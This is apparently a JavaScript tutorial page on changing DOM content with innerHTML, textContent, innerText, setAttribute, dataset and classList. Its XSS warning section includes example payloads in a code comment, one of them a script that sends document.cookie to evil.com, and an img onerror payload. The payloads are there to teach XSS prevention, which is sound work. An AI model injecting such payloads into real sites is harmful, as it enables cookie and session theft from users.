JavaScript Notes

JavaScript DOM Changing Content - textContent, innerHTML, setAttribute Complete Guide

Learn how to change text, HTML, and attributes of DOM elements using JavaScript. Master textContent vs innerHTML vs innerText, setAttribute, dataset, classList with real-world examples and XSS prevention.

The Three Ways to Change Text/HTML

Once you have selected a DOM element, you have three main properties to read or change its content:

Example

Content Changing — Decision Chart: ════════════════════════════════════════════════════════ Do you need to render HTML tags? │ ├── YES → innerHTML (parses & renders HTML) │ ⚠️ Risk: XSS if user input! │ └── NO → textContent (safest, fastest, ignores tags) innerText (respects CSS visibility/layout) ════════════════════════════════════════════════════════

`innerHTML` — HTML Content (Powerful but Risky)

innerHTML gets or sets the HTML markup inside an element. Tags ARE parsed and rendered.

html example

<div id="container">
  <p>Old content</p>
</div>
<button onclick="updateHTML()">Update HTML</button>

<script>
  const container = document.getElementById('container');

  function updateHTML() {
    // READING innerHTML
    console.log(container.innerHTML);
    // "<p>Old content</p>"

    // SETTING innerHTML — completely replaces all content
    container.innerHTML = `
      <h2>New Heading</h2>
      <p>This is <strong>bold</strong> and <em>italic</em> text.</p>
      <ul>
        <li>Item 1</li>
        <li>Item 2</li>
        <li>Item 3</li>
      </ul>
    `;

    // READING after update
    console.log(container.children.length); // 3
  }
</script>

Output

"<p>Old content</p>"
3

Before/After Visual

Example

BEFORE: ┌─────────────────────────────────┐ │ Old content │ │ [Update HTML] │ └─────────────────────────────────┘ AFTER clicking button: ┌─────────────────────────────────┐ │ New Heading │ │ This is bold and italic text. │ │ • Item 1 │ │ • Item 2 │ │ • Item 3 │ │ [Update HTML] │ └─────────────────────────────────┘

⚠️ Security Warning: XSS with innerHTML

html example

<input id="userInput" type="text" placeholder="Type something...">
<button onclick="displayInput()">Display</button>
<div id="output"></div>

<script>
  function displayInput() {
    const input = document.getElementById('userInput').value;

    // ❌ DANGEROUS — user can type malicious HTML:
    // <img src=x onerror="alert('Hacked!')">
    // <script>fetch('https://evil.com?c='+document.cookie)</script>
    document.getElementById('output').innerHTML = input;

    // ✅ SAFE — use textContent for any user-provided content
    document.getElementById('output').textContent = input;
  }
</script>

`innerText` vs `textContent` — The Key Difference

They look similar but have important behavioral differences:

html example

<div id="example">
  <p>Visible paragraph</p>
  <p style="display: none;">Hidden paragraph</p>
  <p>Another    spaced     paragraph</p>
</div>

<script>
  const el = document.getElementById('example');

  console.log('--- textContent ---');
  console.log(el.textContent);

  console.log('--- innerText ---');
  console.log(el.innerText);
</script>

Output

--- textContent ---

  Visible paragraph
  Hidden paragraph
  Another    spaced     paragraph

--- innerText ---
Visible paragraph
Another spaced paragraph

Comparison Table

Feature	textContent	innerText	innerHTML
Returns HTML tags	❌ No	❌ No	✅ Yes
Includes hidden elements	✅ Yes	❌ No (respects CSS)	✅ Yes
Preserves whitespace	✅ All	❌ Collapses spaces	Depends
Triggers browser reflow	❌ No	✅ Yes (performance cost)	❌ No
Safe from XSS	✅ Always	✅ Always	❌ Not safe with user input
Speed	⚡ Fastest	🔶 Slower	🔶 Fast

`setAttribute` & `getAttribute` — Managing Attributes

Example

<img id="photo" src="old-photo.jpg" alt="Old Alt Text" class="small"> <a id="myLink" href="/old-page">Click me</a> <input id="myInput" type="text"> <script> const img = document.getElementById('photo'); const link = document.getElementById('myLink'); const input = document.getElementById('myInput'); // Getting attributes console.log(img.getAttribute('src')); // "old-photo.jpg" console.log(img.getAttribute('alt')); // "Old Alt Text" console.log(img.getAttribute('class')); // "small" console.log(img.getAttribute('title')); // null (doesn't exist) // Setting attributes img.setAttribute('src', 'new-photo.jpg'); img.setAttribute('alt', 'New Alt Text'); img.setAttribute('loading', 'lazy'); // adds new attribute // Removing attributes img.removeAttribute('class'); // removes class entirely // Checking if attribute exists console.log(img.hasAttribute('alt')); // true console.log(img.hasAttribute('class')); // false (just removed it) // Direct property vs setAttribute link.href = '/new-page'; // Direct property (preferred for standard attrs) link.setAttribute('href', '/new-page'); // setAttribute (same result) // For custom/non-standard attributes, use setAttribute input.setAttribute('data-validator', 'email'); input.setAttribute('aria-label', 'Email Address'); </script>

Output

"old-photo.jpg"
"Old Alt Text"
"small"
null
true
false

`dataset` — Custom Data Attributes

data-* attributes let you store custom data in HTML. The dataset property provides easy access.

html example

<div class="product-card"
     data-product-id="42"
     data-product-name="Wireless Headphones"
     data-price="2999"
     data-in-stock="true">
  <h3>Wireless Headphones</h3>
  <button class="btn-buy">Add to Cart</button>
</div>

<script>
  const card = document.querySelector('.product-card');

  // Reading data attributes via dataset
  // data-product-id    → dataset.productId   (kebab-case → camelCase)
  // data-product-name  → dataset.productName
  // data-in-stock      → dataset.inStock
  console.log(card.dataset.productId);    // "42" (always a string!)
  console.log(card.dataset.productName);  // "Wireless Headphones"
  console.log(card.dataset.price);        // "2999" (string, not number)
  console.log(card.dataset.inStock);      // "true" (string, not boolean)

  // Type conversion needed for numbers/booleans
  const price = Number(card.dataset.price);
  const inStock = card.dataset.inStock === 'true';
  console.log(price + 100);              // 3099 (number arithmetic)
  console.log(inStock && 'Available');   // "Available"

  // Writing dataset values
  card.dataset.addedToCart = 'yes';       // creates data-added-to-cart
  card.dataset.price = '2499';            // updates data-price

  // Deleting a data attribute
  delete card.dataset.inStock;

  // Check via getAttribute
  console.log(card.getAttribute('data-product-id')); // "42"
</script>

Output

"42"
"Wireless Headphones"
"2999"
"true"
3099
"Available"
"42"

`classList` — Managing CSS Classes

Example

<div id="alert-box" class="alert">This is an alert</div> <script> const box = document.getElementById('alert-box'); // ADD a class box.classList.add('visible'); box.classList.add('success', 'animated'); // Multiple at once // REMOVE a class box.classList.remove('alert'); // TOGGLE — adds if absent, removes if present box.classList.toggle('hidden'); // adds 'hidden' box.classList.toggle('hidden'); // removes 'hidden' // Force toggle (second arg = true always adds, false always removes) box.classList.toggle('pinned', true); // always adds box.classList.toggle('pinned', false); // always removes // CHECK if class exists console.log(box.classList.contains('visible')); // true console.log(box.classList.contains('alert')); // false (removed) // REPLACE one class with another box.classList.replace('success', 'error'); // READ all current classes console.log(box.className); // "visible animated error pinned" (or similar) console.log(box.classList.length); // number of classes console.log([...box.classList]); // array of class names </script>

Output

true
false
"visible animated error"
3
["visible", "animated", "error"]

Real World Use Cases

Example

// 1. Live character counter for textarea const textarea = document.querySelector('#bio'); const counter = document.querySelector('#char-count'); textarea.addEventListener('input', () => { const remaining = 200 - textarea.value.length; counter.textContent = `${remaining} characters remaining`; counter.classList.toggle('warning', remaining < 20); }); // 2. Dynamic image gallery with data attributes document.querySelectorAll('.thumbnail').forEach(thumb => { thumb.addEventListener('click', function() { const fullSrc = this.dataset.fullSrc; const caption = this.dataset.caption; document.getElementById('main-image').setAttribute('src', fullSrc); document.getElementById('caption').textContent = caption; }); }); // 3. Toggle dark mode document.getElementById('theme-toggle').addEventListener('click', () => { document.body.classList.toggle('dark-mode'); const isDark = document.body.classList.contains('dark-mode'); localStorage.setItem('theme', isDark ? 'dark' : 'light'); });

Common Mistakes

❌ Mistake 1: Using innerHTML with user input (XSS)

js example

// ❌ NEVER do this with user-provided data
div.innerHTML = userInput; // could execute malicious scripts!

// ✅ Always use textContent for user data
div.textContent = userInput; // tags shown as text, never executed

❌ Mistake 2: Using innerHTML += (loses event listeners)

js example

// ❌ This re-parses the entire content — event listeners on children are LOST
container.innerHTML += '<p>New paragraph</p>';

// ✅ Use insertAdjacentHTML or createElement + append
container.insertAdjacentHTML('beforeend', '<p>New paragraph</p>');

❌ Mistake 3: Forgetting dataset values are always strings

js example

// ❌ Wrong — dataset.age is "25" (string), not 25 (number)
const age = card.dataset.age;
if (age > 18) { ... }  // "25" > 18 → may work but fragile!

// ✅ Correct — convert explicitly
const age = Number(card.dataset.age);
if (age > 18) { ... }  // 25 > 18 = true ✅

❌ Mistake 4: Using className to add classes (clobbers existing)

js example

// ❌ This REPLACES all existing classes
element.className = 'new-class'; // previous classes gone!

// ✅ Use classList to ADD without removing
element.classList.add('new-class'); // keeps existing classes

Interview Questions

Q1. What is the difference between textContent and innerHTML? > textContent returns/sets raw text — HTML tags are not parsed and are shown literally. innerHTML returns/sets HTML markup — tags are parsed and rendered in the browser. Use textContent for safe text updates, innerHTML when you need to inject actual HTML.

Q2. Why is innerHTML dangerous with user input? > Because the browser parses and executes the HTML, including event handlers and scripts. A malicious user could inject <img src=x onerror="alert('xss')"> or steal cookies. Always use textContent for user-provided content.

Q3. What is the difference between textContent and innerText? > textContent returns all text including hidden elements and preserves all whitespace. innerText returns only visible text (respects display:none, visibility:hidden) and normalizes whitespace. textContent is faster because it doesn't trigger a browser reflow.

Q4. What is the dataset property? How do you convert data-user-name to JavaScript? > dataset is an object that maps data-* attributes to camelCase properties. data-user-name becomes element.dataset.userName. All values are strings — convert with Number() or === 'true' as needed.

Q5. What is the difference between setAttribute('class', ...) and classList.add(...)? > setAttribute('class', 'new') replaces all existing classes. classList.add('new') adds to existing classes. Always prefer classList methods for manipulating classes.

Q6. Does innerHTML = '' delete the element or just its contents? > It deletes all the contents of the element (children), but the element itself remains in the DOM. Use element.remove() to remove the element itself.

Key Takeaways

text example

✅ textContent = safe, fast, no HTML parsing — use for text
✅ innerHTML = powerful, renders HTML — NEVER use with user input
✅ innerText = like textContent but respects CSS visibility (slower)
✅ setAttribute/getAttribute = for HTML attributes like src, href, alt
✅ dataset = camelCase access to data-* attributes (always returns strings!)
✅ classList.add/remove/toggle = clean way to manage CSS classes
✅ innerHTML += loses event listeners — use insertAdjacentHTML instead
✅ Always convert dataset values from string to number/boolean when needed

Exam Focus

Revise definitions, diagrams, examples, and short-answer points for JavaScript DOM Changing Content - textContent, innerHTML, setAttribute Complete Guide.

Interview Use

Prepare one clear explanation, one practical example, and one common mistake for this JavaScript Master Course topic.

Search Terms

javascript-complete-guide, javascript master course, javascript, complete, guide, dom, changing, content

Continue learning this concept

DOM ManipulationJavaScript DOM Changing Styles - CSS Manipulation, classList & getComputedStyleLearn to dynamically change CSS styles with JavaScript. Master inline styles, classList, getComputedStyle, CSS variables, dark mode toggle, and animations with practical examples and performance tips.DOM ManipulationJavaScript DOM Creating Elements - createElement, appendChild, DocumentFragment GuideMaster all methods to dynamically create and insert DOM elements in JavaScript. Learn createElement, append vs appendChild, insertBefore, cloneNode, DocumentFragment, and insertAdjacentHTML with real examples.DOM ManipulationJavaScript DOM Introduction - Complete Guide to Document Object ModelMaster the JavaScript DOM (Document Object Model) from scratch. Learn DOM tree structure, node types, window vs document, and how JS manipulates web pages. What is DOM in JavaScript — explained simply.DOM ManipulationJavaScript DOM Traversal - Navigate Parent, Child & Sibling NodesMaster DOM traversal in JavaScript. Learn parentNode, children, firstElementChild, nextElementSibling, closest(), and more to navigate the DOM tree efficiently with real examples.DOM ManipulationJavaScript DOM Forms - Form Handling, Validation & FormData Complete GuideMaster JavaScript form handling from scratch. Learn form submission, input reading, validation, FormData API, preventing default, custom error messages, and real-time input feedback with practical examples.DOM ManipulationJavaScript localStorage - Complete Guide to Web Storage APIMaster JavaScript localStorage for persistent browser storage. Learn setItem, getItem, removeItem, clear, storing objects with JSON, storage events, and real-world use cases like dark mode and cart persistence.

PreviousJavaScript Template Literals (ES6) - Complete Guide with Tagged Templates NextJavaScript DOM Changing Styles - CSS Manipulation, classList & getComputedStyle

The Three Ways to Change Text/HTML

innerHTML — HTML Content (Powerful but Risky)

Before/After Visual

⚠️ Security Warning: XSS with innerHTML

innerText vs textContent — The Key Difference

Comparison Table

setAttribute & getAttribute — Managing Attributes

dataset — Custom Data Attributes

classList — Managing CSS Classes

Real World Use Cases

Common Mistakes

❌ Mistake 1: Using innerHTML with user input (XSS)

❌ Mistake 2: Using innerHTML += (loses event listeners)

❌ Mistake 3: Forgetting dataset values are always strings

❌ Mistake 4: Using className to add classes (clobbers existing)

Interview Questions

Key Takeaways

Continue learning this concept

The Three Ways to Change Text/HTML

innerHTML — HTML Content (Powerful but Risky)

Before/After Visual

⚠️ Security Warning: XSS with innerHTML

innerText vs textContent — The Key Difference

Comparison Table

setAttribute & getAttribute — Managing Attributes

dataset — Custom Data Attributes

classList — Managing CSS Classes

Real World Use Cases

Common Mistakes

❌ Mistake 1: Using innerHTML with user input (XSS)

❌ Mistake 2: Using innerHTML += (loses event listeners)

❌ Mistake 3: Forgetting dataset values are always strings

❌ Mistake 4: Using className to add classes (clobbers existing)

Interview Questions

Key Takeaways

Continue learning this concept

`innerHTML` — HTML Content (Powerful but Risky)

`innerText` vs `textContent` — The Key Difference

`setAttribute` & `getAttribute` — Managing Attributes

`dataset` — Custom Data Attributes

`classList` — Managing CSS Classes

`innerHTML` — HTML Content (Powerful but Risky)

`innerText` vs `textContent` — The Key Difference

`setAttribute` & `getAttribute` — Managing Attributes

`dataset` — Custom Data Attributes

`classList` — Managing CSS Classes